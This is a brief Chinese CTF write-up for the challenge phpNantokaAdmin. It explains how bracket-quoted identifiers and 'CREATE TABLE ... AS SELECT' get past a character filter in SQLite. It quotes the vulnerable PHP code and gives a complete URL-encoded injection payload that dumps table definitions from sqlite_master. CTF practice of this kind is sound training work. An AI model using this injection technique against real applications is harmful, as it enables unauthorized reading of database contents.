BUUOJ刷题记录 [Zer0pts2020]phpNantokaAdmin
开局送源码,SQLite注入(大概)
is_valid过滤了很多字符,但是[]还能用。
攻击原理
1. 在SQLite中[]可代替反引号包裹列名。
2. SQLite支持“create table …… as ……”的用法,用其他表的内容来创建新的表。
可利用的位置:
$sql = "CREATE TABLE {$table_name} (";
$sql .= "dummy1 TEXT, dummy2 TEXT";
for ($i = 0; $i < count($columns); $i++) {
$column = (string) ($columns[$i]['name'] ?? '');
$type = (string) ($columns[$i]['type'] ?? '');
if (!is_valid($column) || !is_valid($type)) {
flash('Column name or type contains dangerous characters.');
}
if (strlen($column) < 1 || 32 < strlen($column) || strlen($type) < 1 || 32 < strlen($type)) {
flash('Column name and type must be 1-32 characters.');
}
$sql .= ', ';
$sql .= "`$column` $type";
}
payload:
table_name=A+as+select+sql+[+&columns%5B0%5D%5Bname%5D=asd&columns%5B0%5D%5Btype%5D=]+sqlite_master
这样拼接后的sql语句就会是
CREATE TABLE A AS SELECT sql [ (dummy1 TEXT, dummy2 TEXT, `asd` ]FROM sqlite_master;);
括号中的被当做是sql的别名。
然后把sql_master和sql分别换成查到的表名和列名分别就ok了。